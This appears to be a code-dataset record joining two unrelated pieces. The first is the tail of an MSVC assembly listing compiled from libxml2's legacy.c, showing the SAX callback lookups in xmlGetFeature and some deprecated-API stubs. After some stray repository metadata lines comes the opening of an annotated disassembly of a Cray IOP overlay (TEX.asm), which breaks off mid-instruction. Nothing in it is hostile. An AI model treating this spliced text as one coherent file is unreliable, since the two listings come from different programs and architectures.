BYTE PTR [ecx] jne SHORT $LN210@xmlGetFeat test dl, dl je SHORT $LN211@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN210@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL209@xmlGetFeat $LN211@xmlGetFeat: xor eax, eax jmp SHORT $LN212@xmlGetFeat $LN210@xmlGetFeat: sbb eax, eax or eax, 1 $LN212@xmlGetFeat: test eax, eax jne SHORT $LN66@xmlGetFeat ; 244 : *((ignorableWhitespaceSAXFunc *) result) = mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+72] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN66@xmlGetFeat: ; 245 : ctxt->sax->ignorableWhitespace; ; 246 : } else if (!strcmp(name, "SAX function processingInstruction")) { mov ecx, OFFSET ??_C@_0CD@FCJNICIP@SAX?5function?5processingInstruct@ mov eax, esi npad 2 $LL213@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN214@xmlGetFeat test dl, dl je SHORT $LN215@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN214@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL213@xmlGetFeat $LN215@xmlGetFeat: xor eax, eax jmp SHORT $LN216@xmlGetFeat $LN214@xmlGetFeat: sbb eax, eax or eax, 1 $LN216@xmlGetFeat: test eax, eax jne SHORT $LN68@xmlGetFeat ; 247 : *((processingInstructionSAXFunc *) result) = mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+76] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN68@xmlGetFeat: ; 248 : ctxt->sax->processingInstruction; ; 249 : } else if (!strcmp(name, "SAX function comment")) { mov ecx, OFFSET ??_C@_0BF@LMDIIKPA@SAX?5function?5comment@ mov eax, esi npad 2 $LL217@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN218@xmlGetFeat test dl, dl je SHORT $LN219@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN218@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL217@xmlGetFeat $LN219@xmlGetFeat: xor eax, eax jmp SHORT $LN220@xmlGetFeat $LN218@xmlGetFeat: sbb eax, eax or eax, 1 $LN220@xmlGetFeat: test eax, eax jne SHORT $LN70@xmlGetFeat ; 250 : *((commentSAXFunc *) result) = ctxt->sax->comment; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+80] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN70@xmlGetFeat: ; 251 : } else if (!strcmp(name, "SAX function warning")) { mov ecx, OFFSET ??_C@_0BF@IKOPPKMI@SAX?5function?5warning@ mov eax, esi npad 2 $LL221@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN222@xmlGetFeat test dl, dl je SHORT $LN223@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN222@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL221@xmlGetFeat $LN223@xmlGetFeat: xor eax, eax jmp SHORT $LN224@xmlGetFeat $LN222@xmlGetFeat: sbb eax, eax or eax, 1 $LN224@xmlGetFeat: test eax, eax jne SHORT $LN72@xmlGetFeat ; 252 : *((warningSAXFunc *) result) = ctxt->sax->warning; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+84] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN72@xmlGetFeat: ; 253 : } else if (!strcmp(name, "SAX function error")) { mov ecx, OFFSET ??_C@_0BD@DNENFEEM@SAX?5function?5error@ mov eax, esi npad 2 $LL225@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN226@xmlGetFeat test dl, dl je SHORT $LN227@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN226@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL225@xmlGetFeat $LN227@xmlGetFeat: xor eax, eax jmp SHORT $LN228@xmlGetFeat $LN226@xmlGetFeat: sbb eax, eax or eax, 1 $LN228@xmlGetFeat: test eax, eax jne SHORT $LN74@xmlGetFeat ; 254 : *((errorSAXFunc *) result) = ctxt->sax->error; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+88] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN74@xmlGetFeat: ; 255 : } else if (!strcmp(name, "SAX function fatalError")) { mov ecx, OFFSET ??_C@_0BI@IMPPHMFP@SAX?5function?5fatalError@ mov eax, esi npad 2 $LL229@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN230@xmlGetFeat test dl, dl je SHORT $LN231@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN230@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL229@xmlGetFeat $LN231@xmlGetFeat: xor eax, eax jmp SHORT $LN232@xmlGetFeat $LN230@xmlGetFeat: sbb eax, eax or eax, 1 $LN232@xmlGetFeat: test eax, eax jne SHORT $LN76@xmlGetFeat ; 256 : *((fatalErrorSAXFunc *) result) = ctxt->sax->fatalError; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+92] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN76@xmlGetFeat: ; 257 : } else if (!strcmp(name, "SAX function getParameterEntity")) { mov ecx, OFFSET ??_C@_0CA@CFPGLICD@SAX?5function?5getParameterEntity@ mov eax, esi npad 2 $LL233@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN234@xmlGetFeat test dl, dl je SHORT $LN235@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN234@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL233@xmlGetFeat $LN235@xmlGetFeat: xor eax, eax jmp SHORT $LN236@xmlGetFeat $LN234@xmlGetFeat: sbb eax, eax or eax, 1 $LN236@xmlGetFeat: test eax, eax jne SHORT $LN78@xmlGetFeat ; 258 : *((getParameterEntitySAXFunc *) result) = mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+96] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN78@xmlGetFeat: ; 259 : ctxt->sax->getParameterEntity; ; 260 : } else if (!strcmp(name, "SAX function cdataBlock")) { mov ecx, OFFSET ??_C@_0BI@FKOGIEIN@SAX?5function?5cdataBlock@ mov eax, esi npad 2 $LL237@xmlGetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN238@xmlGetFeat test dl, dl je SHORT $LN239@xmlGetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN238@xmlGetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL237@xmlGetFeat $LN239@xmlGetFeat: xor eax, eax jmp SHORT $LN240@xmlGetFeat $LN238@xmlGetFeat: sbb eax, eax or eax, 1 $LN240@xmlGetFeat: test eax, eax jne SHORT $LN80@xmlGetFeat ; 261 : *((cdataBlockSAXFunc *) result) = ctxt->sax->cdataBlock; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+100] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN80@xmlGetFeat: ; 262 : } else if (!strcmp(name, "SAX function externalSubset")) { mov eax, OFFSET ??_C@_0BM@DJIAAFCM@SAX?5function?5externalSubset@ npad 4 $LL241@xmlGetFeat: mov cl, BYTE PTR [esi] cmp cl, BYTE PTR [eax] jne SHORT $LN242@xmlGetFeat test cl, cl je SHORT $LN243@xmlGetFeat mov cl, BYTE PTR [esi+1] cmp cl, BYTE PTR [eax+1] jne SHORT $LN242@xmlGetFeat add esi, 2 add eax, 2 test cl, cl jne SHORT $LL241@xmlGetFeat $LN243@xmlGetFeat: xor eax, eax jmp SHORT $LN244@xmlGetFeat $LN242@xmlGetFeat: sbb eax, eax or eax, 1 $LN244@xmlGetFeat: test eax, eax jne SHORT $LN3@xmlGetFeat ; 263 : *((externalSubsetSAXFunc *) result) = ctxt->sax->externalSubset; mov eax, DWORD PTR [edi] pop edi ; 268 : } pop esi mov eax, DWORD PTR [eax+104] mov DWORD PTR [ebx], eax xor eax, eax pop ebx pop ebp ret 0 $LN3@xmlGetFeat: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 _xmlGetFeature ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlGetFeaturesList _TEXT SEGMENT _len$ = 8 ; size = 4 _result$ = 12 ; size = 4 _xmlGetFeaturesList PROC ; COMDAT ; 146 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _len$[ebp] test esi, esi je SHORT $LN6@xmlGetFeat ; 147 : int ret, i; ; 148 : ; 149 : ret = sizeof(xmlFeaturesList) / sizeof(xmlFeaturesList[0]); ; 150 : if ((len == NULL) || (result == NULL)) mov ecx, DWORD PTR _result$[ebp] test ecx, ecx je SHORT $LN6@xmlGetFeat ; 152 : if ((*len < 0) || (*len >= 1000)) mov eax, DWORD PTR [esi] cmp eax, 999 ; 000003e7H ja SHORT $LN8@xmlGetFeat ; 154 : if (*len > ret) cmp eax, 42 ; 0000002aH jle SHORT $LN9@xmlGetFeat ; 155 : *len = ret; mov DWORD PTR [esi], 42 ; 0000002aH mov eax, 42 ; 0000002aH $LN9@xmlGetFeat: ; 156 : for (i = 0; i < *len; i++) xor edx, edx test eax, eax jle SHORT $LN6@xmlGetFeat push edi mov edi, OFFSET _xmlFeaturesList sub edi, ecx $LL4@xmlGetFeat: ; 157 : result[i] = xmlFeaturesList[i]; mov eax, DWORD PTR [edi+ecx] lea ecx, DWORD PTR [ecx+4] mov DWORD PTR [ecx-4], eax inc edx cmp edx, DWORD PTR [esi] jl SHORT $LL4@xmlGetFeat pop edi $LN6@xmlGetFeat: ; 151 : return (ret); mov eax, 42 ; 0000002aH pop esi ; 158 : return (ret); ; 159 : } pop ebp ret 0 $LN8@xmlGetFeat: ; 153 : return (-1); or eax, -1 pop esi ; 158 : return (ret); ; 159 : } pop ebp ret 0 _xmlGetFeaturesList ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlCleanupPredefinedEntities _TEXT SEGMENT _xmlCleanupPredefinedEntities PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c jmp @__CheckForDebuggerJustMyCode@4 _xmlCleanupPredefinedEntities ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlEncodeEntities _TEXT SEGMENT _doc$ = 8 ; size = 4 _input$ = 12 ; size = 4 _xmlEncodeEntities PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?warning@?1??xmlEncodeEntities@@9@9, 0 je SHORT $LN4@xmlEncodeE ; 729 : static int warning = 1; ; 730 : ; 731 : if (warning) { ; 732 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0CJ@KEKEIBCJ@Deprecated?5API?5xmlEncodeEntitie@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax ; 733 : "Deprecated API xmlEncodeEntities() used\n"); ; 734 : xmlGenericError(xmlGenericErrorContext, call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DE@BODOCGDI@?5?5?5change?5code?5to?5use?5xmlEncode@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 16 ; 00000010H ; 735 : " change code to use xmlEncodeEntitiesReentrant()\n"); ; 736 : warning = 0; mov DWORD PTR ?warning@?1??xmlEncodeEntities@@9@9, 0 ; 737 : } ; 738 : return (NULL); pop esi $LN4@xmlEncodeE: ; 739 : } xor eax, eax ret 0 _xmlEncodeEntities ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlInitializePredefinedEntities _TEXT SEGMENT _xmlInitializePredefinedEntities PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c jmp @__CheckForDebuggerJustMyCode@4 _xmlInitializePredefinedEntities ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlNewGlobalNs _TEXT SEGMENT _doc$ = 8 ; size = 4 _href$ = 12 ; size = 4 _prefix$ = 16 ; size = 4 _xmlNewGlobalNs PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlNewGlobalNs@@9@9, 0 jne SHORT $LN4@xmlNewGlob ; 683 : static int deprecated = 0; ; 684 : ; 685 : if (!deprecated) { ; 686 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0CO@DFBKILL@xmlNewGlobalNs?$CI?$CJ?5deprecated?5fun@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 687 : "xmlNewGlobalNs() deprecated function reached\n"); ; 688 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlNewGlobalNs@@9@9, 1 ; 689 : } ; 690 : return (NULL); pop esi $LN4@xmlNewGlob: ; 691 : } xor eax, eax ret 0 _xmlNewGlobalNs ENDP _TEXT ENDS END
22.839746
110
0.697501
14c9aa3c942ce7ec09c2541fa9695ccf3ab800a0
51,232
asm
Assembly
target/cos_117/disasm/iop_overlay1/TEX.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
49
2020-10-09T12:29:16.000Z
2022-03-12T02:33:35.000Z
target/cos_117/disasm/iop_overlay1/TEX.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
1
2021-12-29T15:59:25.000Z
2021-12-29T15:59:25.000Z
target/cos_117/disasm/iop_overlay1/TEX.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
6
2021-04-12T06:10:32.000Z
2022-02-08T23:11:19.000Z
0x0000 (0x000000) 0x2118- f:00020 d: 280 | A = OR[280] 0x0001 (0x000002) 0x1443- f:00012 d: 67 | A = A + 67 (0x0043) 0x0002 (0x000004) 0x291B- f:00024 d: 283 | OR[283] = A 0x0003 (0x000006) 0x0400- f:00002 d: 0 | I = 0 0x0004 (0x000008) 0x0000- f:00000 d: 0 | PASS 0x0005 (0x00000A) 0x211B- f:00020 d: 283 | A = OR[283] 0x0006 (0x00000C) 0x289D- f:00024 d: 157 | OR[157] = A 0x0007 (0x00000E) 0x7E00-0x1FFD f:00077 d: 0 | R = OR[0]+8189 (0x1FFD) 0x0009 (0x000012) 0x209C- f:00020 d: 156 | A = OR[156] 0x000A (0x000014) 0x2919- f:00024 d: 281 | OR[281] = A 0x000B (0x000016) 0x0600- f:00003 d: 0 | I = 1 0x000C (0x000018) 0x2119- f:00020 d: 281 | A = OR[281] 0x000D (0x00001A) 0x8402- f:00102 d: 2 | P = P + 2 (0x000F), A = 0 0x000E (0x00001C) 0x7012- f:00070 d: 18 | P = P + 18 (0x0020) 0x000F (0x00001E) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0010 (0x000020) 0x2924- f:00024 d: 292 | OR[292] = A 0x0011 (0x000022) 0x2118- f:00020 d: 280 | A = OR[280] 0x0012 (0x000024) 0x143C- f:00012 d: 60 | A = A + 60 (0x003C) 0x0013 (0x000026) 0x2925- f:00024 d: 293 | OR[293] = A 0x0014 (0x000028) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0015 (0x00002A) 0x2926- f:00024 d: 294 | OR[294] = A 0x0016 (0x00002C) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0017 (0x00002E) 0x5800- f:00054 d: 0 | B = A 0x0018 (0x000030) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x001A (0x000034) 0x7C09- f:00076 d: 9 | R = OR[9] 0x001B (0x000036) 0x2006- f:00020 d: 6 | A = OR[6] 0x001C (0x000038) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x001D (0x00003A) 0x2908- f:00024 d: 264 | OR[264] = A 0x001E (0x00003C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x001F (0x00003E) 0x721F- f:00071 d: 31 | P = P - 31 (0x0000) 0x0020 (0x000040) 0x2118- f:00020 d: 280 | A = OR[280] 0x0021 (0x000042) 0x1448- f:00012 d: 72 | A = A + 72 (0x0048) 0x0022 (0x000044) 0x2908- f:00024 d: 264 | OR[264] = A 0x0023 (0x000046) 0x2119- f:00020 d: 281 | A = OR[281] 0x0024 (0x000048) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0025 (0x00004A) 0x2118- f:00020 d: 280 | A = OR[280] 0x0026 (0x00004C) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046) 0x0027 (0x00004E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0028 (0x000050) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0029 (0x000052) 0x080E- f:00004 d: 14 | A = A > 14 (0x000E) 0x002A (0x000054) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x002B (0x000056) 0x8602- f:00103 d: 2 | P = P + 2 (0x002D), A # 0 0x002C (0x000058) 0x7025- f:00070 d: 37 | P = P + 37 (0x0051) 0x002D (0x00005A) 0x2119- f:00020 d: 281 | A = OR[281] 0x002E (0x00005C) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F) 0x002F (0x00005E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0030 (0x000060) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0031 (0x000062) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009) 0x0032 (0x000064) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0033 (0x000066) 0x8602- f:00103 d: 2 | P = P + 2 (0x0035), A # 0 0x0034 (0x000068) 0x7010- f:00070 d: 16 | P = P + 16 (0x0044) 0x0035 (0x00006A) 0x2118- f:00020 d: 280 | A = OR[280] 0x0036 (0x00006C) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046) 0x0037 (0x00006E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0038 (0x000070) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0039 (0x000072) 0x1A00-0xBFFF f:00015 d: 0 | A = A & 49151 (0xBFFF) 0x003B (0x000076) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x003C (0x000078) 0x2118- f:00020 d: 280 | A = OR[280] 0x003D (0x00007A) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046) 0x003E (0x00007C) 0x2908- f:00024 d: 264 | OR[264] = A 0x003F (0x00007E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0040 (0x000080) 0x1A00-0xF7FF f:00015 d: 0 | A = A & 63487 (0xF7FF) 0x0042 (0x000084) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0043 (0x000086) 0x700E- f:00070 d: 14 | P = P + 14 (0x0051) 0x0044 (0x000088) 0x2118- f:00020 d: 280 | A = OR[280] 0x0045 (0x00008A) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046) 0x0046 (0x00008C) 0x2908- f:00024 d: 264 | OR[264] = A 0x0047 (0x00008E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0048 (0x000090) 0x1A00-0xEFFF f:00015 d: 0 | A = A & 61439 (0xEFFF) 0x004A (0x000094) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x004B (0x000096) 0x2118- f:00020 d: 280 | A = OR[280] 0x004C (0x000098) 0x144B- f:00012 d: 75 | A = A + 75 (0x004B) 0x004D (0x00009A) 0x2908- f:00024 d: 264 | OR[264] = A 0x004E (0x00009C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x004F (0x00009E) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0050 (0x0000A0) 0x7113- f:00070 d: 275 | P = P + 275 (0x0163) 0x0051 (0x0000A2) 0x2119- f:00020 d: 281 | A = OR[281] 0x0052 (0x0000A4) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E) 0x0053 (0x0000A6) 0x2908- f:00024 d: 264 | OR[264] = A 0x0054 (0x0000A8) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0055 (0x0000AA) 0x1A00-0x7FFF f:00015 d: 0 | A = A & 32767 (0x7FFF) 0x0057 (0x0000AE) 0x291A- f:00024 d: 282 | OR[282] = A 0x0058 (0x0000B0) 0x2119- f:00020 d: 281 | A = OR[281] 0x0059 (0x0000B2) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D) 0x005A (0x0000B4) 0x2908- f:00024 d: 264 | OR[264] = A 0x005B (0x0000B6) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x005C (0x0000B8) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F) 0x005D (0x0000BA) 0x291C- f:00024 d: 284 | OR[284] = A 0x005E (0x0000BC) 0x1800-0x0E68 f:00014 d: 0 | A = 3688 (0x0E68) 0x0060 (0x0000C0) 0x2908- f:00024 d: 264 | OR[264] = A 0x0061 (0x0000C2) 0x211C- f:00020 d: 284 | A = OR[284] 0x0062 (0x0000C4) 0x3508- f:00032 d: 264 | A = A + (OR[264]) 0x0063 (0x0000C6) 0x2913- f:00024 d: 275 | OR[275] = A 0x0064 (0x0000C8) 0x3113- f:00030 d: 275 | A = (OR[275]) 0x0065 (0x0000CA) 0x2913- f:00024 d: 275 | OR[275] = A 0x0066 (0x0000CC) 0x3113- f:00030 d: 275 | A = (OR[275]) 0x0067 (0x0000CE) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0068 (0x0000D0) 0x123F- f:00011 d: 63 | A = A & 63 (0x003F) 0x0069 (0x0000D2) 0x291C- f:00024 d: 284 | OR[284] = A 0x006A (0x0000D4) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x006B (0x0000D6) 0x291E- f:00024 d: 286 | OR[286] = A 0x006C (0x0000D8) 0x1800-0x0254 f:00014 d: 0 | A = 596 (0x0254) 0x006E (0x0000DC) 0x2403- f:00022 d: 3 | A = A + OR[3] 0x006F (0x0000DE) 0x291F- f:00024 d: 287 | OR[287] = A 0x0070 (0x0000E0) 0x1800-0x026F f:00014 d: 0 | A = 623 (0x026F) 0x0072 (0x0000E4) 0x2403- f:00022 d: 3 | A = A + OR[3] 0x0073 (0x0000E6) 0x2920- f:00024 d: 288 | OR[288] = A 0x0074 (0x0000E8) 0x211F- f:00020 d: 287 | A = OR[287] 0x0075 (0x0000EA) 0x2720- f:00023 d: 288 | A = A - OR[288] 0x0076 (0x0000EC) 0x8413- f:00102 d: 19 | P = P + 19 (0x0089), A = 0 0x0077 (0x0000EE) 0x311F- f:00030 d: 287 | A = (OR[287]) 0x0078 (0x0000F0) 0x2921- f:00024 d: 289 | OR[289] = A 0x0079 (0x0000F2) 0x2121- f:00020 d: 289 | A = OR[289] 0x007A (0x0000F4) 0x271A- f:00023 d: 282 | A = A - OR[282] 0x007B (0x0000F6) 0x8402- f:00102 d: 2 | P = P + 2 (0x007D), A = 0 0x007C (0x0000F8) 0x700A- f:00070 d: 10 | P = P + 10 (0x0086) 0x007D (0x0000FA) 0x211E- f:00020 d: 286 | A = OR[286] 0x007E (0x0000FC) 0x1C00-0x026F f:00016 d: 0 | A = A + 623 (0x026F) 0x0080 (0x000100) 0x2403- f:00022 d: 3 | A = A + OR[3] 0x0081 (0x000102) 0x2921- f:00024 d: 289 | OR[289] = A 0x0082 (0x000104) 0x3121- f:00030 d: 289 | A = (OR[289]) 0x0083 (0x000106) 0x2403- f:00022 d: 3 | A = A + OR[3] 0x0084 (0x000108) 0x2921- f:00024 d: 289 | OR[289] = A 0x0085 (0x00010A) 0x7921- f:00074 d: 289 | P = OR[289] 0x0086 (0x00010C) 0x2D1E- f:00026 d: 286 | OR[286] = OR[286] + 1 0x0087 (0x00010E) 0x2D1F- f:00026 d: 287 | OR[287] = OR[287] + 1 0x0088 (0x000110) 0x7214- f:00071 d: 20 | P = P - 20 (0x0074) 0x0089 (0x000112) 0x70C2- f:00070 d: 194 | P = P + 194 (0x014B) 0x008A (0x000114) 0x74F1- f:00072 d: 241 | R = P + 241 (0x017B) 0x008B (0x000116) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x008C (0x000118) 0x2924- f:00024 d: 292 | OR[292] = A 0x008D (0x00011A) 0x1800-0x0074 f:00014 d: 0 | A = 116 (0x0074) 0x008F (0x00011E) 0x2925- f:00024 d: 293 | OR[293] = A 0x0090 (0x000120) 0x2118- f:00020 d: 280 | A = OR[280] 0x0091 (0x000122) 0x2926- f:00024 d: 294 | OR[294] = A 0x0092 (0x000124) 0x211A- f:00020 d: 282 | A = OR[282] 0x0093 (0x000126) 0x2927- f:00024 d: 295 | OR[295] = A 0x0094 (0x000128) 0x2119- f:00020 d: 281 | A = OR[281] 0x0095 (0x00012A) 0x2928- f:00024 d: 296 | OR[296] = A 0x0096 (0x00012C) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x0097 (0x00012E) 0x5800- f:00054 d: 0 | B = A 0x0098 (0x000130) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x009A (0x000134) 0x7C09- f:00076 d: 9 | R = OR[9] 0x009B (0x000136) 0x8602- f:00103 d: 2 | P = P + 2 (0x009D), A # 0 0x009C (0x000138) 0x7020- f:00070 d: 32 | P = P + 32 (0x00BC) 0x009D (0x00013A) 0x2118- f:00020 d: 280 | A = OR[280] 0x009E (0x00013C) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046) 0x009F (0x00013E) 0x2908- f:00024 d: 264 | OR[264] = A 0x00A0 (0x000140) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00A1 (0x000142) 0x0E02- f:00007 d: 2 | A = A << 2 (0x0002) 0x00A2 (0x000144) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001) 0x00A3 (0x000146) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x00A4 (0x000148) 0x0C03- f:00006 d: 3 | A = A >> 3 (0x0003) 0x00A5 (0x00014A) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x00A6 (0x00014C) 0x7501- f:00072 d: 257 | R = P + 257 (0x01A7) 0x00A7 (0x00014E) 0x211A- f:00020 d: 282 | A = OR[282] 0x00A8 (0x000150) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x00A9 (0x000152) 0x8402- f:00102 d: 2 | P = P + 2 (0x00AB), A = 0 0x00AA (0x000154) 0x7011- f:00070 d: 17 | P = P + 17 (0x00BB) 0x00AB (0x000156) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x00AC (0x000158) 0x2924- f:00024 d: 292 | OR[292] = A 0x00AD (0x00015A) 0x1800-0x006F f:00014 d: 0 | A = 111 (0x006F) 0x00AF (0x00015E) 0x2925- f:00024 d: 293 | OR[293] = A 0x00B0 (0x000160) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00B1 (0x000162) 0x2926- f:00024 d: 294 | OR[294] = A 0x00B2 (0x000164) 0x2118- f:00020 d: 280 | A = OR[280] 0x00B3 (0x000166) 0x2927- f:00024 d: 295 | OR[295] = A 0x00B4 (0x000168) 0x2119- f:00020 d: 281 | A = OR[281] 0x00B5 (0x00016A) 0x2928- f:00024 d: 296 | OR[296] = A 0x00B6 (0x00016C) 0x1124- f:00010 d: 292 | A = 292 (0x0124) 0x00B7 (0x00016E) 0x5800- f:00054 d: 0 | B = A 0x00B8 (0x000170) 0x1800-0x1918 f:00014 d: 0 | A = 6424 (0x1918) 0x00BA (0x000174) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00BB (0x000176) 0x7002- f:00070 d: 2 | P = P + 2 (0x00BD) 0x00BC (0x000178) 0x74EB- f:00072 d: 235 | R = P + 235 (0x01A7) 0x00BD (0x00017A) 0x70A6- f:00070 d: 166 | P = P + 166 (0x0163) 0x00BE (0x00017C) 0x753B- f:00072 d: 315 | R = P + 315 (0x01F9) 0x00BF (0x00017E) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x00C0 (0x000180) 0x2924- f:00024 d: 292 | OR[292] = A 0x00C1 (0x000182) 0x1800-0x0078 f:00014 d: 0 | A = 120 (0x0078) 0x00C3 (0x000186) 0x2925- 